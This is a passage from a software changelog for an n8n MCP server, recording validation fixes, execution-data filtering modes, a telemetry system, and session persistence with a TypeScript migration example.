- Detect common parameter mistakes: using `sourceNodeId`/`targetNodeId` instead of correct `source`/`target`
- Improved error messages include:
- Identification of wrong parameter names with correction guidance
- Examples of correct usage
- List of available nodes when source/target not found
- Error messages now actionable instead of cryptic (was: "Source node not found: undefined")
- Added 8 comprehensive unit tests for parameter validation scenarios
- **P0-R1: Universal Node Type Normalization** - Eliminates 80% of validation errors
- Implemented `NodeTypeNormalizer` utility for consistent node type handling
- Automatically converts short forms to full forms (e.g., `nodes-base.webhook` → `n8n-nodes-base.webhook`)
- Applied normalization across all workflow validation entry points
- Updated workflow validator, handlers, and repository for universal normalization
- Fixed test expectations to match normalized node type format
- Resolves the single largest source of validation errors in production
### Added
- `NodeTypeNormalizer` utility class for universal node type normalization
- `normalizeToFullForm()` - Convert any node type variation to canonical form
- `normalizeWithDetails()` - Get normalization result with metadata
- `normalizeWorkflowNodeTypes()` - Batch normalize all nodes in a workflow
- Settings whitelist filtering in `cleanWorkflowForUpdate()` with comprehensive null-safety
- Enhanced `validateAddConnection()` with proactive parameter validation
- 14 new unit tests for issues #248 and #249 fixes
### Changed
- Node repository now uses `NodeTypeNormalizer` for all lookups
- Workflow validation applies normalization before structure checks
- Workflow diff engine validates connection parameters before processing
- Settings filtering applied to all workflow update operations
### Performance
- No performance impact - normalization adds <1ms overhead per workflow
- Settings filtering is O(9) - negligible impact
### Test Coverage
- n8n-validation tests: 73/73 passing (100% coverage)
- workflow-diff-engine tests: 110/110 passing (89.72% coverage)
- Total: 183 tests passing
### Impact
- **Issue #248**: Eliminates ALL settings validation errors for workflows with non-standard properties
- **Issue #249**: Provides clear, actionable error messages reducing user frustration
- **P0-R1**: Reduces validation error rate by 80% (addresses 4,800+ weekly errors)
- Combined impact: Expected overall error rate reduction from 5-10% to <2%
## [2.14.6] - 2025-10-01
### Enhanced
- **Webhook Error Messages**: Replaced generic "Please try again later or contact support" messages with actionable guidance
- Error messages now extract execution ID and workflow ID from failed webhook triggers
- Guide users to use `n8n_get_execution({id: executionId, mode: 'preview'})` for efficient debugging
- Format: "Workflow {workflowId} execution {executionId} failed. Use n8n_get_execution({id: '{executionId}', mode: 'preview'}) to investigate the error."
- When no execution ID available: "Workflow failed to execute. Use n8n_list_executions to find recent executions, then n8n_get_execution with mode='preview' to investigate."
### Added
- New error formatting functions in `n8n-errors.ts`:
- `formatExecutionError()` - Creates execution-specific error messages with debugging guidance
- `formatNoExecutionError()` - Provides guidance when execution context unavailable
- Enhanced `McpToolResponse` type with optional `executionId` and `workflowId` fields
- Error handling documentation in `n8n-trigger-webhook-workflow` tool docs
- 30 new comprehensive tests for error message formatting and webhook error handling
### Changed
- `handleTriggerWebhookWorkflow` now extracts execution context from error responses
- `getUserFriendlyErrorMessage` returns actual server error messages instead of generic text
- Tool documentation type enhanced with optional `errorHandling` field
### Fixed
- Test expectations updated to match new error message format (handlers-workflow-diff.test.ts)
### Benefits
- **Fast debugging**: Preview mode executes in <50ms (vs seconds for full data)
- **Efficient**: Uses ~500 tokens (vs 50K+ tokens for full execution data)
- **Safe**: No timeout or token limit risks
- **Actionable**: Clear next steps for users to investigate failures
### Impact
- Eliminates unhelpful "contact support" messages
- Provides specific, actionable debugging guidance
- Reduces debugging time by directing users to efficient tools
- 100% backward compatible - only improves error messages
## [2.14.5] - 2025-09-30
### Added
- **Intelligent Execution Data Filtering**: Major enhancement to `n8n_get_execution` tool to handle large datasets without exceeding token limits
- **Preview Mode**: Shows data structure, counts, and size estimates without actual data (~500 tokens)
- **Summary Mode**: Returns 2 sample items per node (safe default, ~2-5K tokens)
- **Filtered Mode**: Granular control with node filtering and custom item limits
- **Full Mode**: Complete data retrieval (explicit opt-in)
- Smart recommendations based on data size (guides optimal retrieval strategy)
- Structure-only mode (`itemsLimit: 0`) to see data schema without values
- Node-specific filtering with `nodeNames` parameter
- Input data inclusion option for debugging transformations
- Automatic size estimation and token consumption guidance
### Enhanced
- `n8n_get_execution` tool with new parameters:
- `mode`: 'preview' | 'summary' | 'filtered' | 'full'
- `nodeNames`: Filter to specific nodes
- `itemsLimit`: Control items per node (0=structure, -1=unlimited, default=2)
- `includeInputData`: Include input data for debugging
- Legacy `includeData` parameter mapped to new modes for backward compatibility
- Tool documentation with comprehensive examples and best practices
- Type system with new interfaces: `ExecutionMode`, `ExecutionPreview`, `ExecutionFilterOptions`, `FilteredExecutionResponse`
### Technical Improvements
- New `ExecutionProcessor` service with intelligent filtering logic
- Smart data truncation with metadata (`hasMoreData`, `truncated` flags)
- Validation for `itemsLimit` (capped at 1000, negative values default to 2)
- Error message extraction helper for consistent error handling
- Constants-based thresholds for easy tuning (20/50/100KB limits)
- 33 comprehensive unit tests with 78% coverage
- Null-safe data access throughout
### Performance
- Preview mode: <50ms (no data, just structure)
- Summary mode: <200ms (2 items per node)
- Filtered mode: 50-500ms (depends on filters)
- Size estimation within 10-20% accuracy
### Impact
- Solves token limit issues when inspecting large workflow executions
- Enables AI agents to understand execution data without overwhelming responses
- Reduces token usage by 80-95% for large datasets (50+ items)
- Maintains 100% backward compatibility with existing integrations
- Recommended workflow: preview → recommendation → filtered/summary
### Fixed
- Preview mode bug: Fixed API data fetching logic to ensure preview mode retrieves execution data for structure analysis and recommendation generation
- Changed `fetchFullData` condition in handlers-n8n-manager.ts to include preview mode
- Preview mode now correctly returns structure, item counts, and size estimates
- Recommendations are now accurate and prevent token overflow issues
### Migration Guide
- **No breaking changes**: Existing `n8n_get_execution` calls work unchanged
- New recommended workflow:
1. Call with `mode: 'preview'` to assess data size
2. Follow `recommendation.suggestedMode` from preview
3. Use `mode: 'filtered'` with `itemsLimit` for precise control
- Legacy `includeData: true` now maps to `mode: 'summary'` (safer default)
## [2.14.4] - 2025-09-30
### Added
- **Workflow Cleanup Operations**: Two new operations for `n8n_update_partial_workflow`
- `cleanStaleConnections`: Automatically removes connections referencing non-existent nodes
- `replaceConnections`: Replace entire connections object in a single operation
- **Graceful Error Handling**: Enhanced `removeConnection` with `ignoreErrors` flag
- **Best-Effort Mode**: New `continueOnError` mode for `WorkflowDiffRequest`
- Apply valid operations even if some fail
- Returns detailed results with `applied` and `failed` operation indices
- Maintains atomic mode as default for safety
### Enhanced
- Tool documentation for workflow cleanup scenarios
- Type system with new operation interfaces
- 15 new tests covering all new features
### Impact
- Reduces broken workflow fix time from 10-15 minutes to 30 seconds
- Token efficiency: `cleanStaleConnections` is 1 operation vs 10+ manual operations
- 100% backwards compatibility maintained
## [2.14.3] - 2025-09-30
### Added
- Incremental template updates with `npm run fetch:templates:update`
- Smart filtering for new templates (5-10 min vs 30-40 min full rebuild)
- 48 new templates (2,598 → 2,646 total)
### Fixed
- Template metadata generation: Updated to `gpt-4o-mini-2025-08-07` model
- Removed unsupported `temperature` parameter from OpenAI Batch API
- Template sanitization: Added Airtable PAT and GitHub token detection
- Sanitized 24 templates removing API tokens
### Updated
- n8n: 1.112.3 → 1.113.3
- n8n-core: 1.111.0 → 1.112.1
- n8n-workflow: 1.109.0 → 1.110.0
- @n8n/n8n-nodes-langchain: 1.111.1 → 1.112.2
- Node database rebuilt with 536 nodes from n8n v1.113.3
## [2.14.2] - 2025-09-29
### Fixed
- Validation false positives for Google Drive nodes with 'fileFolder' resource
- Added node type normalization to handle both `n8n-nodes-base.` and `nodes-base.` prefixes correctly
- Fixed resource validation to properly recognize all valid resource types
- Default operations are now properly applied when not specified
- Property visibility is now correctly checked with defaults applied
- Code node validation incorrectly flagging valid n8n expressions as syntax errors
- Removed overly aggressive regex pattern `/\)\s*\)\s*{/` that flagged valid expressions
- Valid patterns like `$('NodeName').first().json` are now correctly recognized
- Function chaining and method chaining no longer trigger false positives
- Enhanced error handling in repository methods based on code review feedback
- Added try-catch blocks to `getNodePropertyDefaults` and `getDefaultOperationForResource`
- Validates data structures before accessing to prevent crashes with malformed node data
- Returns safe defaults on errors to ensure validation continues
### Added
- Comprehensive test coverage for validation fixes in `tests/unit/services/validation-fixes.test.ts`
- New repository methods for better default value handling:
- `getNodePropertyDefaults()` - retrieves default values for node properties
- `getDefaultOperationForResource()` - gets default operation for a specific resource
### Changed
- Enhanced `filterPropertiesByMode` to return both filtered properties and config with defaults applied
- Improved node type validation to accept both valid prefix formats
## [2.14.1] - 2025-09-26
### Changed
- **BREAKING**: Refactored telemetry system with major architectural improvements
- Split 636-line TelemetryManager into 7 focused modules (event-tracker, batch-processor, event-validator, rate-limiter, circuit-breaker, workflow-sanitizer, config-manager)
- Changed TelemetryManager constructor to private, use `getInstance()` method now
- Implemented lazy initialization pattern to avoid early singleton creation
### Added
- Security & Privacy enhancements for telemetry:
- Comprehensive input validation with Zod schemas
- Enhanced sanitization of sensitive data (URLs, API keys, emails)
- Expanded sensitive key detection patterns (25+ patterns)
- Row Level Security on Supabase backend
- Data deletion contact info ([email protected])
- Performance & Reliability improvements:
- Sliding window rate limiter (100 events/minute)
- Circuit breaker pattern for network failures
- Dead letter queue for failed events
- Exponential backoff with jitter for retries
- Performance monitoring with overhead tracking (<5%)
- Memory-safe array limits in rate limiter
- Comprehensive test coverage enhancements:
- Added 662 lines of new telemetry tests
- Enhanced config-manager tests with 17 new edge cases
- Enhanced workflow-sanitizer tests with 19 new edge cases
- Improved coverage from 63% to 91% for telemetry module
- Branch coverage improved from 69% to 87%
### Fixed
- TypeScript lint errors in telemetry test files
- Corrected variable name conflicts in integration tests
- Fixed process.exit mock implementation in batch-processor tests
- Fixed tuple type annotations for workflow node positions
- Resolved MockInstance type import issues
- Test failures in CI pipeline
- Fixed test timeouts caused by improper fake timer usage
- Resolved Timer.unref() compatibility issues
- Fixed event validator filtering standalone 'key' property
- Corrected batch processor circuit breaker behavior
- TypeScript error in telemetry test preventing CI build
- Added @supabase/supabase-js to Docker builder stage and runtime dependencies
## [2.14.0] - 2025-09-26
### Added
- Anonymous telemetry system with Supabase integration to understand usage patterns
- Tracks active users with deterministic anonymous IDs
- Records MCP tool usage frequency and error rates
- Captures sanitized workflow structures on successful validation
- Monitors common error patterns for improvement insights
- Zero-configuration design with opt-out support via N8N_MCP_TELEMETRY_DISABLED environment variable
- Enhanced telemetry tracking methods:
- `trackSearchQuery` - Records search patterns and result counts
- `trackValidationDetails` - Captures validation errors and warnings
- `trackToolSequence` - Tracks AI agent tool usage sequences
- `trackNodeConfiguration` - Records common node configuration patterns
- `trackPerformanceMetric` - Monitors operation performance
- Privacy-focused workflow sanitization:
- Removes all sensitive data (URLs, API keys, credentials)
- Generates workflow hashes for deduplication
- Preserves only structural information
- Comprehensive test coverage for telemetry components (91%+ coverage)
### Fixed
- Fixed TypeErrors in `get_node_info`, `get_node_essentials`, and `get_node_documentation` tools that were affecting 50% of calls
- Added null safety checks for undefined node properties
- Fixed multi-process telemetry issues with immediate flush strategy
- Resolved RLS policy and permission issues with Supabase
### Changed
- Updated Docker configuration to include Supabase client for telemetry support
- Enhanced workflow validation tools to track validated workflows
- Improved error handling with proper null coalescing operators
### Documentation
- Added PRIVACY.md with comprehensive privacy policy
- Added telemetry configuration instructions to README
- Updated CLAUDE.md with telemetry system architecture
## [2.19.0] - 2025-10-12
### Added
**Session Persistence for Multi-Tenant Deployments (Phase 1 + Phase 2)**
This release introduces production-ready session persistence enabling stateless multi-tenant deployments with session restoration and complete session lifecycle management.
#### Phase 1: Session Restoration Hook (REQ-1 to REQ-4)
- **Automatic Session Restoration**
- New `onSessionNotFound` hook for session restoration from external storage
- Async database lookup when client sends unknown session ID
- Configurable restoration timeout (default 5 seconds)
- Seamless integration with existing multi-tenant API
- **Core Capabilities**
- Restore sessions from Redis, PostgreSQL, or any external storage
- Support for session metadata and custom context
- Timeout protection prevents hanging requests
- Backward compatible - optional feature, zero breaking changes
- **Integration Points**
- Hook called before session validation in handleRequest flow
- Thread-safe session restoration with proper locking
- Error handling with detailed logging
- Production-tested with comprehensive test coverage
#### Phase 2: Session Management API (REQ-5)
- **Session Lifecycle Management**
- `getActiveSessions()`: List all active session IDs
- `getSessionState(sessionId)`: Get complete session state
- `getAllSessionStates()`: Bulk export for periodic backups
- `restoreSession(sessionId, context)`: Manual session restoration
- `deleteSession(sessionId)`: Explicit session cleanup
- **Session State Information**
- Session ID, instance context, metadata
- Creation time, last access, expiration time
- Serializable for database storage
- **Workflow Support**
- Periodic backup: Export all sessions every N minutes
- Bulk restore: Load sessions on server restart
- Manual cleanup: Remove sessions from external trigger
#### Security Improvements
- **Session ID Validation**
- Length validation (20-100 characters)
- Character whitelist (alphanumeric, hyphens, underscores)
- SQL injection prevention
- Path traversal prevention
- Early validation before restoration hook
- **Orphan Detection**
- Comprehensive cleanup of orphaned session components
- Detects and removes orphaned transports
- Detects and removes orphaned servers
- Prevents memory leaks from incomplete cleanup
- Warning logs for orphaned resources
- **Rate Limiting Documentation**
- Security notes in JSDoc for `onSessionNotFound`
- Recommendations for preventing database lookup abuse
- Guidance on implementing express-rate-limit
#### Technical Implementation
- **Files Changed**:
- `src/types/session-restoration.ts`: New types for session restoration
- `src/http-server-single-session.ts`: Hook integration and session management API
- `src/mcp-engine.ts`: Public API methods for session lifecycle
- `tests/unit/session-management-api.test.ts`: 21 unit tests
- `tests/integration/session-persistence.test.ts`: 13 integration tests
- **Testing**:
- ✅ 34 total tests (21 unit + 13 integration)
- ✅ All edge cases covered (timeouts, errors, validation)
- ✅ Thread safety verified
- ✅ Memory leak prevention tested
- ✅ Backward compatibility confirmed
#### Migration Guide
**For Existing Users (No Changes Required)**
```typescript
// Your existing code continues to work unchanged
const engine = new N8NMCPEngine();
await engine.processRequest(req, res, instanceContext);
```
**For New Session Persistence Users**
```typescript
// 1. Implement restoration hook
const engine = new N8NMCPEngine({
onSessionNotFound: async (sessionId) => {
// Load from your database
const session = await db.loadSession(sessionId);
return session ? session.instanceContext : null;
},
sessionRestorationTimeout: 5000
});
// 2. Periodic backup (optional)
setInterval(async () => {
const states = engine.getAllSessionStates();
for (const state of states) {
await db.upsertSession(state);
}
}, 300000); // Every 5 minutes
// 3. Restore on server start (optional)
const savedSessions = await db.loadAllSessions();
for (const session of savedSessions) {
engine.restoreSession(session.sessionId, session.instanceContext);
}
```
#### Benefits
- **Stateless Deployment**: No session state in memory, safe for container restarts
- **Multi-Tenant Support**: Each tenant's sessions persist independently
- **High Availability**: Sessions survive server crashes and deployments
- **Scalability**: Share session state across multiple server instances
- **Cost Efficient**: Use Redis, PostgreSQL, or any database for persistence
### Documentation
- Added comprehensive session persistence documentation
- Added migration guide and examples
- Updated API documentation with session management methods
## Previous Versions
For changes in previous versions, please refer to the git history and release notes.
```